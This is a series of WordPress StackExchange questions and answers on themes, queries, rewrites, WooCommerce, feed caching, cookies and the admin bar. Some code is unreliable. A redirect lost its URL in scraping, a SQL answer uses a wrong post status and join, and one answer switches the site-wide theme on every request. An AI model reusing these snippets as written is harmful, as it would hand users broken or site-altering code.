Any help or pointers into the right direction would make me really happy. | Your best way would be to redirect to the theme's 404 page in the event that the page being loaded matches the slug that you are referring to. Try this:
function check_undesirable_page(){
global $post;
if(is_page() && ($post->post_name=="YOUR-SLUG-HERE")){
global $wp_query;
$wp_query->set_404();
status_header(404);
}
}
add_action( 'wp', 'check_undesirable_page' );
EDIT: Also a good idea to incorporate the `is_page()` condition (added above) to avoid undesirable consequences of the page sharing its slug with other items (in case it's a common word) | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "posts, urls, slug, homepage, frontpage"
} |
Exclude posts that only have the 'Uncategorized' category
I want to exclude posts that _only_ have the Uncategorized category (i.e. category id 1), but if a post is (erroneously) categorised as "Uncategorized" but also has other categories, I want to include it.
Every solution I've found so far excludes all posts with the Uncategorized category, whether they have other categories or not. I've tried:
'category__not_in' => array('1')
and
'cat' => -1
in the query arguments but I'm not getting the results I need. Is there a way around this? | Working off of Pieter Goosen's answer to this question, the way around this is to create a list of all the categories except the one you want to exclude, then search for posts that include them. That way, if a post has the excluded category but also other categories, it'll be included. So, in my case:
$args = array ('exclude'=>1,'fields'=>'ids');
$exclude_uncategorized = get_terms('category',$args);
and then include the following in the `$args` for the `wp_query`:
'category__in' => $exclude_uncategorized, | stackexchange-wordpress | {
"answer_score": 9,
"question_score": 4,
"tags": "posts, wp query, categories, taxonomy, terms"
} |
Change homepage url
is there any way how to achieve this? I've tried to google it, but I have no clue how to call it.
`siteurl.com` \- for whole web
`siteurl.com/news` \- homepage with news
When I add `siteurl.com` I have to by directly redirected to `siteurl.com/new`. It's needed because some google analytics setting or so which will be more precise. Thanks a lot for your help.
EDIT: `siteurl.com/news` \- needs to be "frontpage" and set as "homepage" (theme template issue, it's really complicated to change it to a custom page. Something as "fake url" or so, is it possible to achieve this? | i think this can help you:
use the below code in your theme's `functions.php`
function redirect_homepage() {
if( ! is_home() && ! is_front_page() )
return;
wp_redirect( ' 301 );
exit;
}
add_action( 'template_redirect', 'redirect_homepage' ); | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "urls, site url"
} |
Contact form field in wordpress menu
I am trying to insert a simple 1 field contact 7 form into my menu.
I have this code working for just text, but if I try to insert the shortcode for the form, I get an error. What am I doing wrong?
add_filter( 'wp_nav_menu_items', 'your_custom_menu_item', 8, 2 );
function your_custom_menu_item ( $items, $args ) {
if( $args->theme_location == 'primary') {
$items .= '<li class="menu-item">Text goes here</li>';
}
return $items;
}
Here I try to insert shortcode for form:
add_filter( 'wp_nav_menu_items', 'your_custom_menu_item', 8, 2 );
function your_custom_menu_item ( $items, $args ) {
if( $args->theme_location == 'primary') {
$items .= '<li class="menu-item">echo do_shortcode( '[contact-form-7 id="1323" title="Newsletter"]' );</li>';
}
return $items;
} | Well, you're getting error, because your code is not correct... There is syntax error in this line (You combine string and PHP code in there...):
$items .= '<li class="menu-item">echo do_shortcode( '[contact-form-7 id="1323" title="Newsletter"]' );</li>';
It should look like this:
add_filter( 'wp_nav_menu_items', 'your_custom_menu_item', 8, 2 );
function your_custom_menu_item ( $items, $args ) {
if( $args->theme_location == 'primary') {
$items .= '<li class="menu-item">'. do_shortcode( '[contact-form-7 id="1323" title="Newsletter"]' ) .'</li>';
}
return $items;
} | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "php, menus, shortcode"
} |
How to switch theme if the current user is admin?
I am trying to switch my current custom theme to `twenty fifteen` theme if the visitor is admin. So I put following code into my `custom theme functions.php`
/*** Switching theme to Admin ***/
add_action( 'setup_theme', 'switch_user_theme' );
function switch_user_theme() {
if ( current_user_can( 'manage_options' ) ) {
$user_theme = 'Twenty Fifteen';
add_filter( 'template', create_function( '$t', 'return "' . $user_theme . '";' ) );
add_filter( 'stylesheet', create_function( '$s', 'return "' . $user_theme . '";' ) );
}
}
But when an admin visit to the site, still it shows custom theme not the `twenty fifteen` Why it is not switched to `twenty fifteen` theme when an admin visit to the site? | You are sort of doing this in a roundabout way. WordPress has a function called `switch_theme()`:
add_action( 'setup_theme', 'switch_user_theme' );
function switch_user_theme() {
if ( current_user_can( 'manage_options' ) ) {
switch_theme('twentytwelve');
} else {
switch_theme('twentythirteen');
}
}
The argument is the directory of the theme you want.
I can't help but think this is a bad idea though. Surely you can do what you need without switching themes constantly? | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 0,
"tags": "themes, admin, switch theme"
} |
Undefined variable: woocommerce_loop
Today I've updated my woocommerce plugin and get the following error on my website:
> Undefined variable: woocommerce_loop
My loop looks like (a slight modification of the **archive-product template** one year ago):
<?php
$newReleasesCounter = 0;
$loop = new WP_Query( $args_new_releases );
while ( $loop->have_posts() ) : $loop->the_post(); global $product;
$woocommerce_loop['loop']++;?>
<div id="<?php echo 'publication-'.$post->ID ?>" class="grid_4 txt-center product-preview">
<?php wc_get_template_part( 'content', 'product' ); ?>
</div>
<?php
$newReleasesCounter++;
endwhile; ?>
I have no idea what's wrong with this.
I would be grateful for any idea to solve this error. | As you have updated WooCommerce to latest version, templates you have in your theme must have gone outdated. (Not sure which previous version you had on your website before updating it to latest version).
Please check WP Admin -> WooCommerce -> System Status -> at bottom there will be section named "Templates" there you can see what templates you have are outdated, and update your templates in theme to reflect latest changes.
I am not sure if above snippet is complete code of your custom archive-product.php or not, but its definitely different than latest WooCommerce archive-product.php template.
**And for the error you are seeing**
does your template have this code?
`global $product, $woocommerce_loop;`
at top of template file, if not **add it** and your error will go away, but I will suggest you use latest template from WooCommerce plugin and apply your customization's to it, to match your needs. | stackexchange-wordpress | {
"answer_score": 2,
"question_score": -2,
"tags": "loop, woocommerce offtopic"
} |
woocommerce - get_image_size() deprecated
Today I've updated my woocommerce plugin and get a **fatal error** on:
$woocommerce->get_image_size( 'shop_catalog_image_width' )
I'm using it in a hook function to get the placeholder width:
function woocommerce_get_product_thumbnail( $size = 'shop_catalog',
$placeholder_width = 0, $placeholder_height = 0 ) {
global $post, $woocommerce;
$placeholder_width = $woocommerce->get_image_size( 'shop_catalog_image_width' );
...
}
According to this support entry the get_image_size function seems to be deprecated, but relacing it with:
wcgetimagesize('shopthumbnailimagewidth');
returns the same error. **Which function I have to use instead?**
I would be grateful for any help. | Your code is deprecated in latest version.
You should use this code to get the width:
$size = wc_get_image_size( 'shop_catalog' );
$placeholder_width = $size['width']; | stackexchange-wordpress | {
"answer_score": 4,
"question_score": 1,
"tags": "woocommerce offtopic"
} |
Make post title active
Hi I have a simple website that displays every post title in a list, I'm trying to change the active post title to be different when its being viewed. I have tried this but it's not working.
<ul class="students">
<?php
$IDOutsideLoop = $post->ID;
global $post;
$myposts = wp_get_archives('type=alpha');
foreach($myposts as $post) :
?>
<li <?php if(is_single() && $IDOutsideLoop == $post->ID) print 'style="font-weight:bold";'
?>><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></li>
<?php endforeach; ?>
</ul> | Your current code relies on time travel to work:
$IDOutsideLoop = $post->ID;
global $post;
Specifically the first line is peering into the future, how can it know what `$post->ID` is if it's undeclared? The fix is `global $post;`, but when the computer gets to that line, it's too late
global $post;
$IDOutsideLoop = $post->ID;
If you want to list posts, you should consider `WP_Query` or `get_posts`. It may be faster in your case to use `pre_get_posts` | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "php, wp get archives"
} |
Problem with add_rewrite_tag
I tried to rewrite my URl with a custom query string. Here is the code :
add_action( 'init', 'wpse12065_init' );
function wpse12065_init()
{
add_rewrite_rule(
'resultat-2/([^/]*)/([^/]*)',
'index.php?pagename=resultat-2&cat=$matches[2]&ville=$matches[1]',
'top'
);
}
function custom_rewrite_tag() {
add_rewrite_tag('%cat%', '([^&]+)');
add_rewrite_tag('%ville%', '([^&]+)');
}
add_action('init', 'custom_rewrite_tag', 10, 0);
The problem is that when I try to get the value of the tag 'cat', the non-numeric chars are ignored and i don't know why because I never specified that. And all works normally with the tag 'ville'.
Can somebody help me ? | `cat` is a reserved query variable used for the ID of a post category.
To avoid conflicts with WordPress and/or other plugins and themes I'd recommend you 'namespace' your query variables eg `eddh_cat` instead of `cat` | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "functions, url rewriting"
} |
Custom Header won't Repeat
I have tried everything I can think of to get my custom header to simply repeat horizontally. Here is the website.
If you zoom the page out you can see what I mean. The top black bar does, and the menu does because the 100% width parameter works, but the header will not. The code is changing by the minute because I am in the process of trying all sorts of crazy coding. But this is the jist of what is in my Header, Functions, and Css. I cannot get the header to accept repeat-x.
< | You are targeting `#header img`(incorrect) and using `repeat-x` without any background-image property.
Use this CSS code:
#header {
background: rgba(0, 0, 0, 0) url(" repeat-x scroll 0 0;
} | stackexchange-wordpress | {
"answer_score": 0,
"question_score": -1,
"tags": "headers"
} |
2 Categories using same template but one has a problem?
There are only two links at the top. Sims4 and Sims3. The Sims 4 page is not lining up the posts correctly but The Sims 3 page is. They both use the same template.
Why? | This question as mentioned in the comments is not related to wordpress by any means.
But anywho
remove the float on your #portfolio-item and add some flex like its 2015.
#contentportfolio {
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
-webkit-flex-wrap: wrap;
-ms-flex-wrap: wrap;
flex-wrap: wrap;
}
People still play sims? | stackexchange-wordpress | {
"answer_score": 1,
"question_score": -1,
"tags": "categories, templates"
} |
zip unzip attachments in wordpress
my client using easy digital download plugin for sell their photos. They upload a zip file that contain many photos and sell this zip file. My need is to extract this zip file and display the images in it in a page.So i need to get all the images from this zip . I need to do some custom work on it. Is there any method to unzip this files via code ? please help . | WordPress provides a function called `unzip_file()`\-- easily found by typing "wordpress unzip" into Google. There is sample code in the Codex:
WP_Filesystem();
$destination = wp_upload_dir();
$destination_path = $destination['path'];
$unzipfile = unzip_file( $destination_path.'/filename.zip', $destination_path);
if ( $unzipfile ) {
echo 'Successfully unzipped the file!';
} else {
echo 'There was an error unzipping the file.';
}
I have no idea what "custom work" you need to do. | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 0,
"tags": "php, plugin development, theme development, uploads, media library"
} |
Get rewrite result
Quick simple question. How would I get the result of a rewrite in wordpress?
For example I have:
www.some.website.com/some/parameter
How would I get the end result that WP processes? Aka, the
www.some.website.com/index.php?paramter1=some¶mter2=parameter
Cheers | Have a look at the Action Reference to see generally how requests are processed. After all the loading and init stuff happens, the `parse_request` action runs when the request is matched against the rewrite rules, and an object is passed containing all the registered query vars and the matched rule and query string.
function wpd_parse_request( $request ){
echo $request->matched_query;
}
add_action( 'parse_request', 'wpd_parse_request' );
After the `wp` action runs, that same object is stashed in the `wp` global.
global $wp;
echo $wp->matched_query; | stackexchange-wordpress | {
"answer_score": 3,
"question_score": 2,
"tags": "wp query, url rewriting"
} |
Plugin working on my local installation but Cannot be activated online
Good Day Everyone,
I want to test my Plugin online on my real website but I don't know why, the following line would give an error, when on my local installation everything works perfectly. (I tried to deactivate and reactivate on my local install and I don't get the error).
Both are using the latest version of WordPress (4.2.2)
add_action('wp_enqueue_scripts', 'plugin_jquery');
function plugin_jquery()
{
if (!is_admin())
wp_enqueue_script('plugin-jquery', plugins_url('js/plugin_regpage.js', __FILE__), ['jquery'], true);
wp_enqueue_style(
'plugin-regpage-css',
plugins_url('css/plugin_regpage.css', __FILE__)
);
}
I get:
> Parse error: syntax error, unexpected '[' in html/wp-content/plugins/plugin/plugin.php on line 49
Why would a bracket make a problem online and not locally? | This is an issue with your PHP versions on your local and live install.
The new short array syntax (`[]`) was implemented in PHP 5.4. This tells you that your PHP version on your local install is at least PHP 5.4 and your live install has a version older than that. The new short array syntax will lead to a PHP error in older versions as it is invalid PHP in the older versions.
## SOLUTION
As PHP 5.3 was EOL'ed almost a year ago, it is a very good and security wise idea to ask your host to upgrade their PHP version to atleast PHP 5.4. Alternatively, you can change your new short array syntax back to the old array syntax.
['jquery']
then becomes
array( 'jquery' ) | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "plugin development"
} |
Is it OK to use a system cron to trigger a function hooked into the AJAX API
I have a real cron job setup and it seems to work. I have outlined the basics below.
The reason I ask is I don't see this method mentioned often and I'm wondering if that is because doing so is a bad idea?
I don't want to use `wp-cron` and disabling `wp-cron` on my site causes problems in other places (* even while using a real cron to run `/wp-cron.php?doing_wp_cron`)
**Below is an example of what I'm doing:**
**Function**
add_action('wp_ajax_my_function', 'my_function');
add_action( 'wp_ajax_nopriv_my_function', 'my_function' );
my_function() {
...stuff
}
**Url** `wp-admin/admin-ajax.php?action=my_function`
**Cron** `*/45 12-23 * * * wget > /dev/null` | You are using the system `cron` to trigger a function hooked into the AJAX API, not, as your title reads, using "`admin-ajax.php` to run a real `cron` job". You are doing exactly the opposite of what you wrote in the title (I'd advise editing that).
Yes, that is perfectly fine. I have advised using the same technique in fact. All you are doing is making a request to the server on an accurately timed schedule, instead of waiting for a random request from the web. It is no different from any other request to the server. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 1,
"tags": "ajax, wp cron"
} |
Replace Taxomony Description Field with Visual/WYSIWYG Editor
Is there a way to add a TinyMCE editor to the taxonomy description field on the term editing pages? The solution here (Can you add the visual editor to the description field for custom taxonomies?) no longer works, I think because the wp_tiny_mce function has been deprecated. | You can use a **{$taxonomy}_edit_form_fields** action hook to add html to the term edit table. In that HTML you can remove description textarea and add tinymce editor
add_action("{$taxonomy}_edit_form_fields", 'add_form_fields_example', 10, 2);
function add_form_fields_example($term, $taxonomy){
?>
<tr valign="top">
<th scope="row">Description</th>
<td>
<?php wp_editor(html_entity_decode($term->description), 'description', array('media_buttons' => false)); ?>
<script>
jQuery(window).ready(function(){
jQuery('label[for=description]').parent().parent().remove();
});
</script>
</td>
</tr>
<?php
} | stackexchange-wordpress | {
"answer_score": 20,
"question_score": 5,
"tags": "tinymce, wysiwyg, taxonomy"
} |
Test for if you're on 1st page of paginated post (with nextpage quicktag)
I'm developing a site that involves a lot of long posts I'd like to break up using the nextpage quicktag. On the first page there's a large splash photo in the header that I'd like to disappear on subsequent pages—so I need some way of testing if the user is on the first page. I did find this code:
`if ( isset($wp_query->query_vars['page'] ) )`
But that seems to only works with default permalink settings. I need something that works with the Postname permalink setting. Any help is greatly appreciated. | As suggested by @s_ha_dum, you can check the value of `page`. The value is 1 when you're on the first page.
global $page;
if ( $page == 1 ) :
// you're on the first page
endif;
But probably you need to check if the post is paginated first:
global $multipage;
if ( 0 !== $multipage ) :
global $page;
if ( $page == 1 ) :
// you're on the first page
endif;
endif; | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "pagination, nextpage"
} |
php code to shortcode
So, this is the php code that I have:
<?php global $royal_profile;?>
<div class="profile-img" data-key="profilepicture">
<?php echo get_avatar( get_current_user_id(), 64 ); ?>
</div>
Then here is my attempt to turn it into a shortcode (so that I can use in a menu as I realized that I can't simply put php into the menu.
function wpse_143641_profile_shortcode( $atts ) {
return <<<royal_profile
<?php global $royal_profile;?>
<div class="profile-img" data-key="profilepicture">
<?php echo get_avatar( get_current_user_id(), 64 ); ?>
</div>
royal_profile;
}
add_shortcode( 'royal_profile', 'wpse_143641_profile_shortcode' );
When I inspect the element on the frontend, following is the result I got.
!enter image description here
What am I doing wrong?
Thanks | Hi You can use this code.
function wpse_143641_profile_shortcode( $atts )
{
echo get_avatar( get_current_user_id(), 64 );
}
add_shortcode( 'royal_profile', 'wpse_143641_profile_shortcode' );
And you should add the short code in your editor
[royal_profile]
or template
do_shortcode('[royal_profile]') | stackexchange-wordpress | {
"answer_score": 0,
"question_score": -1,
"tags": "shortcode"
} |
is .maintenance file still valid for putting WP in maintenance mode?
I see that upon upgrades the .maintenance file is deleted, if present. Is it still a viable/correct way to put WP in maintenance mode? | Not really.
`.maintenance` is a temporary file, not viable if you want to put your site in maintenance mode for a long time.
If you look at source the maintenance mode is maintained only if `$upgrading` variable defined in the file is no older than 10 minutes.
It means `.maintenance` is a sort of _lock file_ when WordPress is upgrading plugins, themes or itself, something that should not last more than 10 minutes.
Surely is possible to insert into that file something like:
$upgrading = time();
And in theory hold WordPress in maintenance mode, but once it is intended to be a temporary file, WordPress feels free to delete the file after a successfull update.
For a long-duration maintenance mode you need to use a different solution.
Here you'll find one. | stackexchange-wordpress | {
"answer_score": 25,
"question_score": 30,
"tags": "maintenance"
} |
Feed, RSS not able to clear the cache and cannot change the limit of cache life time
The WordPress Feed system is EXTREMELY complex for no reason.
I have been going around and around and around in circles.
I am using:
function do_not_cache_feeds(&$feed) {
$feed->enable_cache(false);
}
add_action( 'wp_feed_options', 'do_not_cache_feeds' );
define( 'MAGPIE_CACHE_AGE', 1 );
function prefix_set_feed_cache_time( $seconds ) {
return 1;
}
add_filter( 'wp_feed_cache_transient_lifetime' , 'prefix_set_feed_cache_time' );
In my functions.php file in my themes folder.
Did not work for a reason that is beyond me.
So first questions is: Is there any way I can get rid of the caching of the feed? I am already using Varnish?
Second, for the current cached feeds how can I clear them?
Third, where the hell are they been stored? I literally look everywhere. | If you are using W3 Total Cache or any other caching system make sure it does not cache the feeds.
WordPress uses SimplePie for parsing it's feeds. They are many things that are happening at the same time that can cause some confusion. First SimplePie does cache the feeds, I haven't figured yet how to clear it or where it is stored. But you can use this code to force it to not cache it or cache the feeds for a shorter time.
function do_not_cache_feeds(&$feed) {
$feed->enable_cache(false);
}
add_action( 'wp_feed_options', 'do_not_cache_feeds' );
function prefix_set_feed_cache_time( $seconds ) {
return 1;
}
add_filter( 'wp_feed_cache_transient_lifetime' , 'prefix_set_feed_cache_time' );
Also when testing make sure you clear your browser cache. Because SimplePie with WordPress uses HTTPCG (HTTP Conditional Get). For more details about SimplePie caching go here: SimplePie caching. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 1,
"tags": "filters, rss, feed"
} |
w3 total cache keeps minifying my feeds
When I deactivate w3 total cache my feed is not minify. But when I bring it back it does. Even when I uncheck: Cache feeds: site, categories, tags, comments. In Page Cache setting of the plugin.
Is there something else I am missing here? | To stop W3 Total Cache from minifying the feeds you need to go to:
1. **In the menu:** Performance > Minify
2. **Meta Box:** HTML & XML > HTML minify settings:
3. **Check the box for:** Don't minify feeds
One of the issues with feed minifying is that it adds CDATA wrapper around javascript in the content and that breaks the XML. I had this issue with videos that were in my content that used javascript.
Here is a screenshot that might help:
!enter image description here | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 1,
"tags": "feed, plugin w3 total cache"
} |
Overwrite style.css styles from index.php style
I'm trying to change the look of my website but while doing that, facing some problems.
Now, different classes and id's in style.css apply to all pages on my theme.
I want to overwrite those styles elements (only 2 or 3) on my homepage.
Now when I'm adding style in my index.php file, they are not being applied.
I've already tried marking them `!important`
Code snippets: I've added this code in my index.php file before the `<?php` code starts
<style type="text/css">
#main {
margin-left: 0 !important;
}
.container {
width: 95% !important;
}
</style>
But they are still not affecting the look of my homepage.
I've confirmed that the class and ids I'm using are perfect and are present in style.css file?
So, can you please guide me how to overwrite these element stylings only on my homepage?
OR
If I'm doing something wrong in the above process? | Add this code in your theme's functions.php
add_action('wp_footer', 'my_home_page_styles', PHP_INT_MAX);
function my_home_page_styles() {
if(is_front_page()) {
?>
<style>
#main {
margin-left: 0 !important;
}
.container {
width: 95% !important;
}
</style>
<?php
}
}
Don't forget to clearing your cache before refreshing. Use `Ctrl + F5` to refresh in Google Chrome. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 1,
"tags": "homepage, css"
} |
Add custom parameters to JSON API search query?
I am using JSON API plugin to query wordpress from a mobile app.
Currently I have a theme on my wordpress site which works as a directory returning "near me" results when a search is made. This is done using a custom search function builtin in the theme.
The function uses custom parameters to get the `lat/lon` of the user and compare it to the lat/lon of each place in the wp database to sort results by distance.
The issue I am having is that when I run the `get_search_results` method from the `JSON API plugin` the custom parameters are ignored.
Does anyone know if there is anyway I can extend the plugin to return the same results the theme is returning when performing a search.
The plugin seems to have a way to extend controllers, but I can't seem to get my head around on how to use that to customize the search query.
Any tip putting me in the right direction will be appreciated.
Thanks! | I think it is better that you switch to the current beta, version 2, publish on github. This version is much better in possibilities and performance.
In this version it is possible that you get a result for the search term, Iike `GET /wp-json/wp/v2/posts?s=awesome`. | stackexchange-wordpress | {
"answer_score": 3,
"question_score": 3,
"tags": "search, plugin json api"
} |
Controling css order
In my plugin I need to load css file after the standard style.css. I tried to do that with the priority paramter in the enqueue command but that works only if I modify the specificity of the classes(which is not what I want). Is there any solution? Regards I. Sher | You can try this in your plugin files.
<?php
add_action('wp_footer', 'styles_at_extremely_end_of_the_page', PHP_INT_MAX);
function styles_at_extremely_end_of_the_page() {
?>
<style>
/* Your Custom CSS here */
</style>
<?php
} | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "css, wp enqueue style"
} |
Should there be a trailing slash in the permalink
Which WordPress permalink structure is better in terms of performance and SEO:
`/%post_id%/%postname%`
or
`/%post_id%/%postname%/`
Does it matter?
Google has big discussion here. But it's not from a WordPress perspective.
Which one should I use and why?
**Edit** : I noticed I get an advantage using `/%post_id%/%postname%` since any mistake etc after `sitename.com/123/wrong-words?some=params&etc=etc` gets redirected to the correct post. But for `sitename.com/123/correct-full-postname/someword` generates a 404. | It makes no difference performance-wise, if it did, there'd be something seriously wrong with WordPress.
The same goes for Google, if a lot of super smart people earning 100k salaries can't write software that handles a trailing slash, then something is terribly wrong with the world.
Either way, WordPress puts the `rel="canonical"` tag in the header so regardless of wether there's a trailing slash or not when you visit the page, Google will see that tag and see what the canonical authoritative URL for that page is.
As a side-note, Google doesn't reserve special rules for WordPress sites, they're all just sites as far as Google is concerned. | stackexchange-wordpress | {
"answer_score": 3,
"question_score": 1,
"tags": "permalinks"
} |
Undefined notice on unset field
Still trying to figure my way around Wordpress plugin development, how can I resolve this undefined error? This appears when I add a new post, it can't find the post so I'm trying to figure out how to resolve it with an isset.
`Notice: Undefined index: kk_youtube in /var/www/html/wordpress/wp-content/plugins/video_widget/video_widget.php on line 33`
The error is on this line 33:
$youtube_link = esc_attr($value['kk_youtube'][0]);
I've been trying to wrap it in `isset($post)` but it's still not working.
This is the entire function call.
function kk_youtube_handler($post) {
$value = get_post_custom($post->ID);
$youtube_link = esc_attr($value['kk_youtube'][0]);
echo '<label for="kk_youtube">YouTube Video Link</label>
<input type="text" id="kk_youtube" name="kk_youtube" value="' .
$youtube_link . '" />';
}
Can I get some help on this? | The error is that you're trying to read `$value['kk_youtube']` when there is no `kk_youtube` key in the array (undefined index). Rather than use `isset`, use `get_post_meta` with the third argument "single" true:
$youtube_link = esc_attr( get_post_meta( $post->ID, 'kk_youtube', true ) );
This is effectively the same as doing:
$value = get_post_custom( $post->ID );
if ( isset( $value['kk_youtube'][0] ) )
$youtube_link = esc_attr( $value['kk_youtube'][0] );
else
$youtube_link = ''; | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "plugin development"
} |
Video Player for Free WordPress Site
I want to play video from the link to the mp4 file itself on a free wordpress site. Can you tell me how to do that | For the most popular video services, you can just paste the link on a line by itself in the post editor: <
For mp4 files hosted offsite on unsupported sites, you can try to use a service like this (< but I don't think it will work well. More likely, you'll have to sign up for one of WordPress.com's premium services: < | stackexchange-wordpress | {
"answer_score": 2,
"question_score": -1,
"tags": "video player"
} |
how to query for meta_value have array
I have array in post_meta like this:
array(
'option1' => 'true',
'option2' => 'true',
'option3' => 'false',
option4' => 'true',
'option5' => 'false'
)
and I would like to filter `option1` with value true. Can someone help me? | No, you can't do that via a query. You can request everything then manually filter out items via PHP, but that would be slow.
Instead, you need to address the root problem, that you're storing serialised PHP data in a single field, rather than multiple fields, e.g. you should have an `option1` meta key/value and an `option2` meta key value pair etc
As a sidenote, if you're wanting to use these to filter, perhaps you should be using a taxonomy instead of post meta | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "wp query, array, meta value"
} |
404 error when i try to search by category or by tag
I have following problem.
When I try to search by tag or by category, I have 404 error. It means that when URL is like "domain.com/category/smt/" or "domain.com/tag/smt/", I have the error.
I tried to edit category's link, but it didn't solve my problem. Changing template also doesn't solve this. | Try going to your permalinks page within the admin to flush the rewrite rules. Just be navigating to that page will flush the rules, but you could click save even if you made no changes. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "categories, search, tags, 404 error"
} |
Information on plugin adding text when a post, page, or other such is displayed
I need to know what API a plugin would need to use to add text or HTML to the beginning or end of a posts's text when the post is displayed. I have searched on Google - but none of the leads I find have any relevance to the question I ask.
I need to know the API a plugin would need to use if it is to assure that the text of a post or page when _displayed_ will have something _beyond_ what is in the post's database contents. | Add this filter to `functions.php` file. Make your changes as needed.
function display_my_content( $content ) {
if ( is_single() ) {
$the_content = 'Before your content';
$the_content .= $content;
$the_content .= 'After your content';
return $the_content;
} else {
return $content;
}
}
add_filter( 'the_content', 'display_my_content' );
WordPress theme API or plugin API can be used anywhere, so when you develop a plugin you can use the plugin API. All APIs can be found at this link. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "plugin development, the content"
} |
Post thumbnail is not shown in wp-admin
I am currently working on a theme for a client and now just got into a problem: When I want to set an image (also existing/already uploaded images don't work) the editor just not accept it and don't set it as the post thumbnail for the post.
Any help would be appreciated.
EDIT: Here is an screenshot for the case that somebody didn't know, what I am talking about:
!enter image description here
It's like this **before** and **after** the "change". So what's going on there?
Normal file upload is working. | I figured out it was because of an script that was delivered with the **Options Framework**. There was a little piece of code in my `functions.php` which caused wrong javascript to be loaded.
When you are having the same problem, be sure to search for something like `wp_enqueue_media();` or something of the following script, comment out and try to upload a thumbnail.
if( function_exists( 'wp_enqueue_media' ) ){
wp_enqueue_media();
} else {
wp_enqueue_style('thickbox');
wp_enqueue_script('media-upload');
wp_enqueue_script('thickbox');
}
Thanks for all answers, though. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "posts, wp admin, post thumbnails, editor"
} |
WPML - 404 Error when I try to pass GET parameters in my "different languages in directories" installation
I'm using **WPML** installation with the **languages in different directories**. But I'm trying to pass some `_$GET` parameters to the url and I'm getting the 404 error.
I'm passing the `_$GET` parameters with a link. Just like this:
$link_aqui_se_sirve = get_permalink( get_page_by_path('donde') );
$taxonomia_estados = get_terms('estados');
foreach ( $taxonomia_estados as $tax ) :
$nombre_estado = $tax->name;
$link = $link_aqui_se_sirve.'?'.$establecimientos_cpt_name.'='.$tax->slug;
<a href="<?php echo $link; ?>"><?php echo $some_name; ?></a>
endforeach;
I'm getting correctly the url, example: `site.com/es/donde/?establecimiento=oaxaca` but I get the 404 error.
I've used this way before, in other site (no multilingual) and works good. Any idea to solve it? Thanks! | The problem your GET param is using the same name as the query var for your custom post type.
$link = $link_aqui_se_sirve.'?'.$establecimientos_cpt_name.'='.$tax->slug;
With that URL, WordPress is expecting the value of the `$establecimientos_cpt_name` parameter to be a post slug. Instead you are giving it a taxonomy slug. This will give you a 404 unless you have a post that happens to have the same slug as your taxonomy.
If you are setting this parameter for your own purposes, you should choose a name that does not collide with WordPress' internal request processing. | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 0,
"tags": "404 error, multi language, plugin wpml"
} |
Display post meta conditionally based on it's value
I have a custom field that's a radio button with 3 choices (yes, no, other).
What I'd like to do is the following:
[If custom field value is yes]
Display something here
[elseIf custom field value is no]
Display something here
[elseIf custom field value is other]
[else]
The code I have thus far isn't working, here it is.
<?php
global $wp_query;
$postid = $wp_query->post->ID;
$can_download = get_post_meta($postid, 'enable_downloads', true);
if ($can_download == 'yes') { ?>
<?php } elseif ($can_download == 'no') { ?>
<?php } elseif ($can_download == 'other') { ?>
<?php } else { ?>
<?php } ?>
No matter what it's just defaulting to yes, I can't figure it out, not sure if this is even the correct way to approach. | If it's created with ACF, then the way to call the field is like this:
$can_download = get_field('enable_downloads',$postid);
so your code should look like:
<?php
global $wp_query;
$postid = $wp_query->post->ID;
$can_download = get_field('enable_downloads',$postid);
if ($can_download == 'yes') { ?>
<?php } elseif ($can_download == 'no') { ?>
<?php } elseif ($can_download == 'other') { ?>
<?php } else { ?>
<?php } ?> | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "wp query, custom field, post meta"
} |
Get terms of the posts with one query
I need to get the terms for 2.000 posts. How can I do this without making 2000 queries? Is it possible to get terms of the post in the post_object with a filter or something similar?
wp_get_post_terms($mobile_id->ID , 'brand',$args ) | You can use the following SQL query
SELECT * FROM wp_posts a, wp_term_relationships b, wp_terms c WHERE a.post_status = 'published' AND a.ID = b.object_id AND b.term_id = c.term_id;
This will list all the post that is in the published state and then its terms.
You can add limits and offsets to limit the number of records. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "php, filters"
} |
Setting cookies in Wordpress
I am trying to set a cookie on my site and wanna switch the style sheets using this cookie.
I've tested a normal function but it does not work. I've put below code into my `functions.php`
add_action('init', 'cookiecheck');
function cookiecheck(){
setcookie( 'cookiename', 'cookievalue', time() + 3600, 'mysite.net/sites/site1/', 'mysite.net/sites/site1/');
}
After I add this code if i check my `cookies` tab using firefox `developer` tools I don't see a cookie called `cookiecheck`
Why is this? How to set a cookie in a wordpress site? | Change this line
setcookie( 'cookiename', 'cookievalue', time() + 3600, 'mysite.net/sites/site1/', 'mysite.net/sites/site1/');
to
setcookie( 'cookiename', cookievalue, time() + 3600, COOKIEPATH, COOKIE_DOMAIN);`
`COOKIEPATH` and `COOKIE_DOMAIN` are WP constants now, but the codex is not updated yet. | stackexchange-wordpress | {
"answer_score": 4,
"question_score": 2,
"tags": "functions, cookies"
} |
Add visit site to your toolbar instead of being in the dropdown
I'm looking for a way to move the "Visit Site" link from drop-down and add it to the main toolbar, just like in the image shown below:
 {
if ( ! is_admin() ) {
return;
}
/** @var WP_Admin_Bar $wp_admin_bar */
